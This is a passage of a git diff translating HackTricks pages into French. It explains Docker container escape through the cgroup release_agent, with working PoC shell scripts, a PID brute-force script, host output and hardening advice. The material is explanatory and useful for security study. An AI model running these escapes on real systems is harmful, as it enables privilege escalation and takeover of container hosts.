increases the scope of a potential attack. -* [Use the “no-new-privileges” security option](https://raesene.github.io/blog/2019/06/01/docker-capabilities-and-no-new-privs/) to prevent processes from gaining more privileges, for example through suid binaries. -* [Limit resources available to the container](https://docs.docker.com/engine/reference/run/#runtime-constraints-on-resources). Resource limits can protect the machine from denial of service attacks. -* Adjust [seccomp](https://docs.docker.com/engine/security/seccomp/), [AppArmor](https://docs.docker.com/engine/security/apparmor/) (or SELinux) profiles to restrict the actions and syscalls available for the container to the minimum required. -* Use [official docker images](https://docs.docker.com/docker-hub/official_images/) or build your own based on them. Don’t inherit or use [backdoored](https://arstechnica.com/information-technology/2018/06/backdoored-images-downloaded-5-million-times-finally-removed-from-docker-hub/) images. -* Regularly rebuild your images to apply security patches. This goes without saying. +* Ne pas utiliser le drapeau `--privileged` ou monter un [socket Docker à l'intérieur du conteneur](https://raesene.github.io/blog/2016/03/06/The-Dangers-Of-Docker.sock/). Le socket Docker permet de lancer des conteneurs, il est donc facile de prendre le contrôle total de l'hôte, par exemple en exécutant un autre conteneur avec le drapeau `--privileged`. +* Ne pas exécuter en tant que root à l'intérieur du conteneur. Utiliser un [utilisateur différent](https://docs.docker.com/develop/develop-images/dockerfile_best-practices/#user) ou des [espaces de noms utilisateur](https://docs.docker.com/engine/security/userns-remap/). Le root dans le conteneur est le même que sur l'hôte sauf s'il est remappé avec des espaces de noms utilisateur. Il est seulement légèrement restreint par, principalement, les espaces de noms Linux, les capacités et les cgroups. +* [Supprimer toutes les capacités](https://docs.docker.com/engine/reference/run/#runtime-privilege-and-linux-capabilities) (`--cap-drop=all`) et n'activer que celles qui sont nécessaires (`--cap-add=...`). Beaucoup de charges de travail n'ont besoin d'aucune capacité et leur ajout augmente la portée d'une attaque potentielle. +* [Utiliser l'option de sécurité "no-new-privileges"](https://raesene.github.io/blog/2019/06/01/docker-capabilities-and-no-new-privs/) pour empêcher les processus de gagner plus de privilèges, par exemple via des binaires suid. +* [Limiter les ressources disponibles pour le conteneur](https://docs.docker.com/engine/reference/run/#runtime-constraints-on-resources). Les limites de ressources peuvent protéger la machine contre les attaques de déni de service. +* Ajuster les profils [seccomp](https://docs.docker.com/engine/security/seccomp/), [AppArmor](https://docs.docker.com/engine/security/apparmor/) (ou SELinux) pour restreindre les actions et les appels système disponibles pour le conteneur au minimum requis. +* Utiliser des [images Docker officielles](https://docs.docker.com/docker-hub/official_images/) ou construire les vôtres en vous basant sur elles. Ne pas hériter ou utiliser des images [compromises](https://arstechnica.com/information-technology/2018/06/backdoored-images-downloaded-5-million-times-finally-removed-from-docker-hub/). +* Reconstruire régulièrement vos images pour appliquer les correctifs de sécurité. Cela va sans dire. -# References +# Références * [https://blog.trailofbits.com/2019/07/19/understanding-docker-container-escapes/](https://blog.trailofbits.com/2019/07/19/understanding-docker-container-escapes/) * [https://twitter.com/\_fel1x/status/1151487051986087936](https://twitter.com/\_fel1x/status/1151487051986087936) @@ -581,16 +531,14 @@ To help keep containers secure: ☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 -- Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! +- Travaillez-vous dans une **entreprise de cybersécurité** ? Voulez-vous voir votre **entreprise annoncée dans HackTricks** ? ou voulez-vous avoir accès à la **dernière version de PEASS ou télécharger HackTricks en PDF** ? Consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) ! -- Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family) +- Découvrez [**The PEASS Family**](https://opensea.io/collection/the-peass-family), notre collection d'[**NFTs**](https://opensea.io/collection/the-peass-family) exclusifs. -- Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) +- Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com) -- **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** +- **Rejoignez le** [**💬**](https://emojipedia.org/speech-balloon/) [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** -- **Share your hacking tricks by submitting PRs to the [hacktricks repo](https://github.com/carlospolop/hacktricks) and [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**. +- **Partagez vos astuces de piratage en soumettant des PR au [repo hacktricks](https://github.com/carlospolop/hacktricks) et au [repo hacktricks-cloud](https://github.com/carlospolop/hacktricks-cloud)**. - - diff --git a/linux-unix/privilege-escalation/escaping-from-a-docker-container.md b/linux-unix/privilege-escalation/escaping-from-a-docker-container.md index 1d1b6f5c6..c5b1f2c11 100644 --- a/linux-unix/privilege-escalation/escaping-from-a-docker-container.md +++ b/linux-unix/privilege-escalation/escaping-from-a-docker-container.md @@ -1,25 +1,6 @@ - - -
- -☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 - -- Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! - -- Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family) - -- Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) - -- **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** - -- **Share your hacking tricks by submitting PRs to the [hacktricks repo](https://github.com/carlospolop/hacktricks) and [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**. - -
- - # `--privileged` flag -{% code title="Initial PoC" %} +{% code title="PoC initial" %} ```bash # spawn a new container to exploit via: # docker run --rm -it --privileged ubuntu bash @@ -35,7 +16,7 @@ sh -c "echo 0 >$d/w/cgroup.procs";sleep 1;cat /o ``` {% endcode %} -{% code title="Second PoC" %} +{% code title="Deuxième PoC" %} ```bash # On the host docker run --rm -it --cap-add=SYS_ADMIN --security-opt apparmor=unconfined ubuntu bash @@ -63,35 +44,34 @@ head /output ``` {% endcode %} - The `--privileged` flag introduces significant security concerns, and the exploit relies on launching a docker container with it enabled. When using this flag, containers have full access to all devices and lack restrictions from seccomp, AppArmor, and Linux capabilities. +Le drapeau `--privileged` introduit des problèmes de sécurité importants et l'exploit repose sur le lancement d'un conteneur Docker avec ce drapeau activé. Lorsque ce drapeau est utilisé, les conteneurs ont un accès complet à tous les périphériques et ne sont pas soumis aux restrictions de seccomp, AppArmor et des capacités Linux. -In fact, `--privileged` provides far more permissions than needed to escape a docker container via this method. In reality, the “only” requirements are: +En réalité, `--privileged` accorde beaucoup plus de permissions que nécessaire pour s'échapper d'un conteneur Docker via cette méthode. En réalité, les seuls prérequis sont : -1. We must be running as root inside the container -2. The container must be run with the `SYS_ADMIN` Linux capability -3. The container must lack an AppArmor profile, or otherwise allow the `mount` syscall -4. The cgroup v1 virtual filesystem must be mounted read-write inside the container +1. Nous devons être en train d'exécuter en tant que root à l'intérieur du conteneur +2. Le conteneur doit être exécuté avec la capacité Linux `SYS_ADMIN` +3. Le conteneur doit manquer d'un profil AppArmor, ou autrement autoriser l'appel système `mount` +4. Le système de fichiers virtuel cgroup v1 doit être monté en lecture-écriture à l'intérieur du conteneur -The `SYS_ADMIN` capability allows a container to perform the mount syscall \(see [man 7 capabilities](https://linux.die.net/man/7/capabilities)\). [Docker starts containers with a restricted set of capabilities](https://docs.docker.com/engine/security/security/#linux-kernel-capabilities) by default and does not enable the `SYS_ADMIN` capability due to the security risks of doing so. +La capacité `SYS_ADMIN` permet à un conteneur d'exécuter l'appel système `mount` \(voir [man 7 capabilities](https://linux.die.net/man/7/capabilities)\). [Docker démarre les conteneurs avec un ensemble restreint de capacités](https://docs.docker.com/engine/security/security/#linux-kernel-capabilities) par défaut et n'active pas la capacité `SYS_ADMIN` en raison des risques de sécurité que cela implique. -Further, Docker [starts containers with the `docker-default` AppArmor](https://docs.docker.com/engine/security/apparmor/#understand-the-policies) policy by default, which [prevents the use of the mount syscall](https://github.com/docker/docker-ce/blob/v18.09.8/components/engine/profiles/apparmor/template.go#L35) even when the container is run with `SYS_ADMIN`. +De plus, Docker [démarre les conteneurs avec la politique AppArmor par défaut](https://docs.docker.com/engine/security/apparmor/#understand-the-policies) `docker-default`, qui [empêche l'utilisation de l'appel système `mount`](https://github.com/docker/docker-ce/blob/v18.09.8/components/engine/profiles/apparmor/template.go#L35) même lorsque le conteneur est exécuté avec `SYS_ADMIN`. -A container would be vulnerable to this technique if run with the flags: `--security-opt apparmor=unconfined --cap-add=SYS_ADMIN` +Un conteneur serait vulnérable à cette technique s'il est exécuté avec les drapeaux : `--security-opt apparmor=unconfined --cap-add=SYS_ADMIN` -## Breaking down the proof of concept +## Analyse du proof of concept -Now that we understand the requirements to use this technique and have refined the proof of concept exploit, let’s walk through it line-by-line to demonstrate how it works. +Maintenant que nous comprenons les prérequis pour utiliser cette technique et que nous avons affiné l'exploit de proof of concept, parcourons-le ligne par ligne pour démontrer comment il fonctionne. -To trigger this exploit we need a cgroup where we can create a `release_agent` file and trigger `release_agent` invocation by killing all processes in the cgroup. The easiest way to accomplish that is to mount a cgroup controller and create a child cgroup. +Pour déclencher cette exploitation, nous avons besoin d'un cgroup où nous pouvons créer un fichier `release_agent` et déclencher l'invocation de `release_agent` en tuant tous les processus dans le cgroup. Le moyen le plus simple d'y parvenir est de monter un contrôleur cgroup et de créer un cgroup enfant. -To do that, we create a `/tmp/cgrp` directory, mount the [RDMA](https://www.kernel.org/doc/Documentation/cgroup-v1/rdma.txt) cgroup controller and create a child cgroup \(named “x” for the purposes of this example\). While every cgroup controller has not been tested, this technique should work with the majority of cgroup controllers. +Pour ce faire, nous créons un répertoire `/tmp/cgrp`, montons le contrôleur cgroup [RDMA](https://www.kernel.org/doc/Documentation/cgroup-v1/rdma.txt) et créons un cgroup enfant \(nommé "x" à des fins d'exemple\). Bien que tous les contrôleurs cgroup n'aient pas été testés, cette technique devrait fonctionner avec la majorité des contrôleurs cgroup. -If you’re following along and get “mount: /tmp/cgrp: special device cgroup does not exist”, it’s because your setup doesn’t have the RDMA cgroup controller. Change `rdma` to `memory` to fix it. We’re using RDMA because the original PoC was only designed to work with it. +Si vous suivez et obtenez "mount: /tmp/cgrp: special device cgroup does not exist", c'est parce que votre configuration n'a pas le contrôleur cgroup RDMA. Changez `rdma` en `memory` pour le corriger. Nous utilisons RDMA car le PoC original a été conçu pour fonctionner uniquement avec celui-ci. -Note that cgroup controllers are global resources that can be mounted multiple times with different permissions and the changes rendered in one mount will apply to another. - -We can see the “x” child cgroup creation and its directory listing below. +Notez que les contrôleurs cgroup sont des ressources globales qui peuvent être montées plusieurs fois avec des autorisations différentes et les modifications apportées à un montage s'appliqueront à un autre. +Nous pouvons voir ci-dessous la création du cgroup enfant "x" et sa liste de répertoires. ```text root@b11cf9eab4fd:/# mkdir /tmp/cgrp && mount -t cgroup -o rdma cgroup /tmp/cgrp && mkdir /tmp/cgrp/x root@b11cf9eab4fd:/# ls /tmp/cgrp/ @@ -99,28 +79,22 @@ cgroup.clone_children cgroup.procs cgroup.sane_behavior notify_on_release re root@b11cf9eab4fd:/# ls /tmp/cgrp/x cgroup.clone_children cgroup.procs notify_on_release rdma.current rdma.max tasks ``` +Ensuite, nous activons les notifications cgroup lors de la libération du cgroup "x" en écrivant un 1 dans son fichier `notify_on_release`. Nous définissons également l'agent de libération du cgroup RDMA pour exécuter un script `/cmd` - que nous créerons plus tard dans le conteneur - en écrivant le chemin du script `/cmd` sur l'hôte dans le fichier `release_agent`. Pour cela, nous récupérons le chemin du conteneur sur l'hôte à partir du fichier `/etc/mtab`. -Next, we enable cgroup notifications on release of the “x” cgroup by writing a 1 to its `notify_on_release` file. We also set the RDMA cgroup release agent to execute a `/cmd` script — which we will later create in the container — by writing the `/cmd` script path on the host to the `release_agent` file. To do it, we’ll grab the container’s path on the host from the `/etc/mtab` file. - -The files we add or modify in the container are present on the host, and it is possible to modify them from both worlds: the path in the container and their path on the host. - -Those operations can be seen below: +Les fichiers que nous ajoutons ou modifions dans le conteneur sont présents sur l'hôte, et il est possible de les modifier à partir des deux mondes : le chemin dans le conteneur et leur chemin sur l'hôte. +Ces opérations peuvent être vues ci-dessous : ```text root@b11cf9eab4fd:/# echo 1 > /tmp/cgrp/x/notify_on_release root@b11cf9eab4fd:/# host_path=`sed -n 's/.*\perdir=\([^,]*\).*/\1/p' /etc/mtab` root@b11cf9eab4fd:/# echo "$host_path/cmd" > /tmp/cgrp/release_agent ``` - -Note the path to the `/cmd` script, which we are going to create on the host: - +Notez le chemin d'accès au script `/cmd`, que nous allons créer sur l'hôte : ```text root@b11cf9eab4fd:/# cat /tmp/cgrp/release_agent /var/lib/docker/overlay2/7f4175c90af7c54c878ffc6726dcb125c416198a2955c70e186bf6a127c5622f/diff/cmd ``` - -Now, we create the `/cmd` script such that it will execute the `ps aux` command and save its output into `/output` on the container by specifying the full path of the output file on the host. At the end, we also print the `/cmd` script to see its contents: - +Maintenant, nous créons le script `/cmd` de sorte qu'il exécute la commande `ps aux` et enregistre sa sortie dans `/output` sur le conteneur en spécifiant le chemin complet du fichier de sortie sur l'hôte. À la fin, nous imprimons également le contenu du script `/cmd` pour voir son contenu : ```text root@b11cf9eab4fd:/# echo '#!/bin/sh' > /cmd root@b11cf9eab4fd:/# echo "ps aux > $host_path/output" >> /cmd @@ -129,9 +103,7 @@ root@b11cf9eab4fd:/# cat /cmd #!/bin/sh ps aux > /var/lib/docker/overlay2/7f4175c90af7c54c878ffc6726dcb125c416198a2955c70e186bf6a127c5622f/diff/output ``` - -Finally, we can execute the attack by spawning a process that immediately ends inside the “x” child cgroup. By creating a `/bin/sh` process and writing its PID to the `cgroup.procs` file in “x” child cgroup directory, the script on the host will execute after `/bin/sh` exits. The output of `ps aux` performed on the host is then saved to the `/output` file inside the container: - +Enfin, nous pouvons exécuter l'attaque en créant un processus qui se termine immédiatement à l'intérieur du sous-cgroupe "x". En créant un processus `/bin/sh` et en écrivant son PID dans le fichier `cgroup.procs` dans le répertoire du sous-cgroupe "x", le script sur l'hôte s'exécutera après la sortie de `/bin/sh`. La sortie de `ps aux` effectuée sur l'hôte est ensuite enregistrée dans le fichier `/output` à l'intérieur du conteneur : ```text root@b11cf9eab4fd:/# sh -c "echo \$\$ > /tmp/cgrp/x/cgroup.procs" root@b11cf9eab4fd:/# head /output @@ -146,41 +118,35 @@ root 9 0.0 0.0 0 0 ? S 13:57 0:00 [ksoftirqd/0] root 10 0.0 0.0 0 0 ? I 13:57 0:00 [rcu_sched] root 11 0.0 0.0 0 0 ? S 13:57 0:00 [migration/0] ``` +# Drapeau `--privileged` v2 -# `--privileged` flag v2 - -The previous PoCs work fine when the container is configured with a storage-driver which exposes the full host path of the mount point, for example `overlayfs`, however I recently came across a couple of configurations which did not obviously disclose the host file system mount point. +Les PoCs précédents fonctionnent bien lorsque le conteneur est configuré avec un pilote de stockage qui expose le chemin d'accès complet de l'hôte du point de montage, par exemple `overlayfs`. Cependant, j'ai récemment rencontré quelques configurations qui ne divulguent pas clairement le point de montage du système de fichiers hôte. ## Kata Containers - ```text root@container:~$ head -1 /etc/mtab kataShared on / type 9p (rw,dirsync,nodev,relatime,mmap,access=client,trans=virtio) ``` +Par défaut, [Kata Containers](https://katacontainers.io/) monte le système de fichiers racine d'un conteneur sur `9pfs`. Cela ne divulgue aucune information sur l'emplacement du système de fichiers du conteneur dans la machine virtuelle Kata Containers. -[Kata Containers](https://katacontainers.io/) by default mounts the root fs of a container over `9pfs`. This discloses no information about the location of the container file system in the Kata Containers Virtual Machine. - -\* More on Kata Containers in a future blog post. +\* Plus d'informations sur Kata Containers dans un prochain article de blog. ## Device Mapper - ```text root@container:~$ head -1 /etc/mtab /dev/sdc / ext4 rw,relatime,stripe=384 0 0 ``` +J'ai vu un conteneur avec ce montage racine dans un environnement en direct, je crois que le conteneur fonctionnait avec une configuration de pilote de stockage `devicemapper` spécifique, mais à ce stade, je n'ai pas été en mesure de reproduire ce comportement dans un environnement de test. -I saw a container with this root mount in a live environment, I believe the container was running with a specific `devicemapper` storage-driver configuration, but at this point I have been unable to replicate this behaviour in a test environment. +## Une alternative PoC -## An Alternative PoC +Évidemment, dans ces cas, il n'y a pas suffisamment d'informations pour identifier le chemin des fichiers de conteneur sur le système de fichiers hôte, donc le PoC de Felix ne peut pas être utilisé tel quel. Cependant, nous pouvons toujours exécuter cette attaque avec un peu d'ingéniosité. -Obviously in these cases there is not enough information to identify the path of container files on the host file system, so Felix’s PoC cannot be used as is. However, we can still execute this attack with a little ingenuity. +La seule information clé requise est le chemin complet, relatif à l'hôte du conteneur, d'un fichier à exécuter dans le conteneur. Sans pouvoir le discerner à partir des points de montage dans le conteneur, nous devons chercher ailleurs. -The one key piece of information required is the full path, relative to the container host, of a file to execute within the container. Without being able to discern this from mount points within the container we have to look elsewhere. - -### Proc to the Rescue - -The Linux `/proc` pseudo-filesystem exposes kernel process data structures for all processes running on a system, including those running in different namespaces, for example within a container. This can be shown by running a command in a container and accessing the `/proc` directory of the process on the host:Container +### Proc à la rescousse +Le pseudo-système de fichiers `/proc` de Linux expose les structures de données de processus du noyau pour tous les processus en cours d'exécution sur un système, y compris ceux s'exécutant dans différents espaces de noms, par exemple dans un conteneur. Cela peut être démontré en exécutant une commande dans un conteneur et en accédant au répertoire `/proc` du processus sur l'hôte : Conteneur ```bash root@container:~$ sleep 100 ``` @@ -204,17 +170,15 @@ lrwxrwxrwx 1 root root 0 Nov 19 10:29 root -> / -rw-r--r-- 1 root root 0 Nov 19 10:29 sched ... ``` - -_As an aside, the `/proc//root` data structure is one that confused me for a very long time, I could never understand why having a symbolic link to `/` was useful, until I read the actual definition in the man pages:_ +En passant, la structure de données `/proc//root` m'a longtemps laissé perplexe, je ne comprenais pas pourquoi avoir un lien symbolique vers `/` était utile, jusqu'à ce que je lise la définition réelle dans les pages de manuel : > /proc/\[pid\]/root > -> UNIX and Linux support the idea of a per-process root of the filesystem, set by the chroot\(2\) system call. This file is a symbolic link that points to the process’s root directory, and behaves in the same way as exe, and fd/\*. +> UNIX et Linux supportent l'idée d'une racine de système de fichiers par processus, définie par l'appel système chroot\(2\). Ce fichier est un lien symbolique qui pointe vers le répertoire racine du processus, et se comporte de la même manière que exe et fd/\*. > -> Note however that this file is not merely a symbolic link. It provides the same view of the filesystem \(including namespaces and the set of per-process mounts\) as the process itself. - -The `/proc//root` symbolic link can be used as a host relative path to any file within a container:Container +> Notez cependant que ce fichier n'est pas simplement un lien symbolique. Il fournit la même vue du système de fichiers (y compris les espaces de noms et l'ensemble des montages par processus) que le processus lui-même. +Le lien symbolique `/proc//root` peut être utilisé comme un chemin relatif à l'hôte vers n'importe quel fichier dans un conteneur : Conteneur ```bash root@container:~$ echo findme > /findme root@container:~$ sleep 100 @@ -224,20 +188,16 @@ root@container:~$ sleep 100 root@host:~$ cat /proc/`pidof sleep`/root/findme findme ``` +Cela change la condition requise pour l'attaque, passant de la connaissance du chemin complet, relatif à l'hôte du conteneur, d'un fichier à l'intérieur du conteneur, à la connaissance de l'ID de processus de _n'importe quel_ processus s'exécutant dans le conteneur. -This changes the requirement for the attack from knowing the full path, relative to the container host, of a file within the container, to knowing the pid of _any_ process running in the container. - -### Pid Bashing - -This is actually the easy part, process ids in Linux are numerical and assigned sequentially. The `init` process is assigned process id `1` and all subsequent processes are assigned incremental ids. To identify the host process id of a process within a container, a brute force incremental search can be used:Container +### Bashage de PID +C'est en fait la partie facile, les IDs de processus dans Linux sont numériques et attribués séquentiellement. Le processus `init` est attribué l'ID de processus `1` et tous les processus suivants sont attribués des IDs incrémentiels. Pour identifier l'ID de processus de l'hôte d'un processus à l'intérieur d'un conteneur, une recherche incrémentielle par force brute peut être utilisée :Container ```text root@container:~$ echo findme > /findme root@container:~$ sleep 100 ``` - -Host - +Hôte ```bash root@host:~$ COUNTER=1 root@host:~$ while [ ! -f /proc/${COUNTER}/root/findme ]; do COUNTER=$((${COUNTER} + 1)); done @@ -246,15 +206,13 @@ root@host:~$ echo ${COUNTER} root@host:~$ cat /proc/${COUNTER}/root/findme findme ``` +### Mettre le tout ensemble -### Putting it All Together +Pour mener à bien cette attaque, la technique de force brute peut être utilisée pour deviner le pid pour le chemin `/proc//root/payload.sh`, avec chaque itération écrivant le chemin pid deviné dans le fichier `release_agent` des cgroups, déclenchant le `release_agent`, et vérifiant si un fichier de sortie est créé. -To complete this attack the brute force technique can be used to guess the pid for the path `/proc//root/payload.sh`, with each iteration writing the guessed pid path to the cgroups `release_agent` file, triggering the `release_agent`, and seeing if an output file is created. - -The only caveat with this technique is it is in no way shape or form subtle, and can increase the pid count very high. As no long running processes are kept running this _should_ not cause reliability issues, but don’t quote me on that. - -The below PoC implements these techniques to provide a more generic attack than first presented in Felix’s original PoC for escaping a privileged container using the cgroups `release_agent` functionality: +Le seul inconvénient de cette technique est qu'elle n'est en aucun cas subtile et peut augmenter considérablement le nombre de pid. Comme aucun processus de longue durée n'est maintenu en cours d'exécution, cela ne devrait pas causer de problèmes de fiabilité, mais ne me citez pas là-dessus. +Le PoC ci-dessous met en œuvre ces techniques pour fournir une attaque plus générique que celle présentée initialement dans le PoC original de Felix pour s'échapper d'un conteneur privilégié en utilisant la fonctionnalité `release_agent` des cgroups : ```bash #!/bin/sh @@ -314,9 +272,7 @@ sleep 1 echo "Done! Output:" cat ${OUTPUT_PATH} ``` - -Executing the PoC within a privileged container should provide output similar to: - +L'exécution du PoC dans un conteneur privilégié devrait fournir une sortie similaire à: ```bash root@container:~$ ./release_agent_pid_brute.sh Checking pid 100 @@ -344,23 +300,22 @@ root 9 2 0 11:25 ? 00:00:00 [mm_percpu_wq] root 10 2 0 11:25 ? 00:00:00 [ksoftirqd/0] ... ``` +# Utiliser les conteneurs de manière sécurisée -# Use containers securely +Docker restreint et limite les conteneurs par défaut. Assouplir ces restrictions peut créer des problèmes de sécurité, même sans le plein pouvoir du drapeau `--privileged`. Il est important de reconnaître l'impact de chaque permission supplémentaire et de limiter les permissions globales au minimum nécessaire. -Docker restricts and limits containers by default. Loosening these restrictions may create security issues, even without the full power of the `--privileged` flag. It is important to acknowledge the impact of each additional permission, and limit permissions overall to the minimum necessary. +Pour aider à maintenir la sécurité des conteneurs : -To help keep containers secure: +* Ne pas utiliser le drapeau `--privileged` ou monter un [socket Docker à l'intérieur du conteneur](https://raesene.github.io/blog/2016/03/06/The-Dangers-Of-Docker.sock/). Le socket Docker permet de créer des conteneurs, il est donc facile de prendre le contrôle total de l'hôte, par exemple, en exécutant un autre conteneur avec le drapeau `--privileged`. +* Ne pas exécuter en tant que root à l'intérieur du conteneur. Utiliser un [utilisateur différent](https://docs.docker.com/develop/develop-images/dockerfile_best-practices/#user) ou [des espaces de noms utilisateur](https://docs.docker.com/engine/security/userns-remap/). Le root dans le conteneur est le même que sur l'hôte sauf s'il est remappé avec des espaces de noms utilisateur. Il est seulement légèrement restreint par, principalement, les espaces de noms Linux, les capacités et les cgroups. +* [Supprimer toutes les capacités](https://docs.docker.com/engine/reference/run/#runtime-privilege-and-linux-capabilities) (`--cap-drop=all`) et n'activer que celles qui sont nécessaires (`--cap-add=...`). Beaucoup de charges de travail n'ont besoin d'aucune capacité et leur ajout augmente la portée d'une attaque potentielle. +* [Utiliser l'option de sécurité "no-new-privileges"](https://raesene.github.io/blog/2019/06/01/docker-capabilities-and-no-new-privs/) pour empêcher les processus de gagner plus de privilèges, par exemple via des binaires suid. +* [Limiter les ressources disponibles pour le conteneur](https://docs.docker.com/engine/reference/run/#runtime-constraints-on-resources). Les limites de ressources peuvent protéger la machine contre les attaques de déni de service. +* Ajuster les profils [seccomp](https://docs.docker.com/engine/security/seccomp/), [AppArmor](https://docs.docker.com/engine/security/apparmor/) (ou SELinux) pour restreindre les actions et les appels système disponibles pour le conteneur au minimum requis. +* Utiliser des [images Docker officielles](https://docs.docker.com/docker-hub/official_images/) ou construire les vôtres en vous basant sur elles. Ne pas hériter ou utiliser des images [compromises](https://arstechnica.com/information-technology/2018/06/backdoored-images-downloaded-5-million-times-finally-removed-from-docker-hub/). +* Reconstruire régulièrement vos images pour appliquer les correctifs de sécurité. Cela va de soi. -* Do not use the `--privileged` flag or mount a [Docker socket inside the container](https://raesene.github.io/blog/2016/03/06/The-Dangers-Of-Docker.sock/). The docker socket allows for spawning containers, so it is an easy way to take full control of the host, for example, by running another container with the `--privileged` flag. -* Do not run as root inside the container. Use a [different user](https://docs.docker.com/develop/develop-images/dockerfile_best-practices/#user) or [user namespaces](https://docs.docker.com/engine/security/userns-remap/). The root in the container is the same as on host unless remapped with user namespaces. It is only lightly restricted by, primarily, Linux namespaces, capabilities, and cgroups. -* [Drop all capabilities](https://docs.docker.com/engine/reference/run/#runtime-privilege-and-linux-capabilities) \(`--cap-drop=all`\) and enable only those that are required \(`--cap-add=...`\). Many of workloads don’t need any capabilities and adding them increases the scope of a potential attack. -* [Use the “no-new-privileges” security option](https://raesene.github.io/blog/2019/06/01/docker-capabilities-and-no-new-privs/) to prevent processes from gaining more privileges, for example through suid binaries. -* [Limit resources available to the container](https://docs.docker.com/engine/reference/run/#runtime-constraints-on-resources). Resource limits can protect the machine from denial of service attacks. -* Adjust [seccomp](https://docs.docker.com/engine/security/seccomp/), [AppArmor](https://docs.docker.com/engine/security/apparmor/) \(or SELinux\) profiles to restrict the actions and syscalls available for the container to the minimum required. -* Use [official docker images](https://docs.docker.com/docker-hub/official_images/) or build your own based on them. Don’t inherit or use [backdoored](https://arstechnica.com/information-technology/2018/06/backdoored-images-downloaded-5-million-times-finally-removed-from-docker-hub/) images. -* Regularly rebuild your images to apply security patches. This goes without saying. - -# References +# Références * [https://blog.trailofbits.com/2019/07/19/understanding-docker-container-escapes/](https://blog.trailofbits.com/2019/07/19/understanding-docker-container-escapes/) * [https://twitter.com/\_fel1x/status/1151487051986087936](https://twitter.com/_fel1x/status/1151487051986087936) @@ -372,16 +327,14 @@ To help keep containers secure: ☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 -- Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! +- Travaillez-vous dans une **entreprise de cybersécurité** ? Voulez-vous voir votre **entreprise annoncée dans HackTricks** ? ou voulez-vous avoir accès à la **dernière version de PEASS ou télécharger HackTricks en PDF** ? Consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) ! -- Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family) +- Découvrez [**The PEASS Family**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family) -- Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) +- Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com) -- **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** +- **Rejoignez le** [**💬**](https://emojipedia.org/speech-balloon/) [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** -- **Share your hacking tricks by submitting PRs to the [hacktricks repo](https://github.com/carlospolop/hacktricks) and [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**. +- **Partagez vos astuces de piratage en soumettant des PR au [repo hacktricks](https://github.com/carlospolop/hacktricks) et au [repo hacktricks-cloud](https://github.com/carlospolop/hacktricks-cloud)**. - - diff --git a/linux-unix/privilege-escalation/exploiting-yum.md b/linux-unix/privilege-escalation/exploiting-yum.md index 6ff8e34a8..d9ce771c8 100644 --- a/linux-unix/privilege-escalation/exploiting-yum.md +++ b/linux-unix/privilege-escalation/exploiting-yum.md @@ -1,35 +1,32 @@ - -
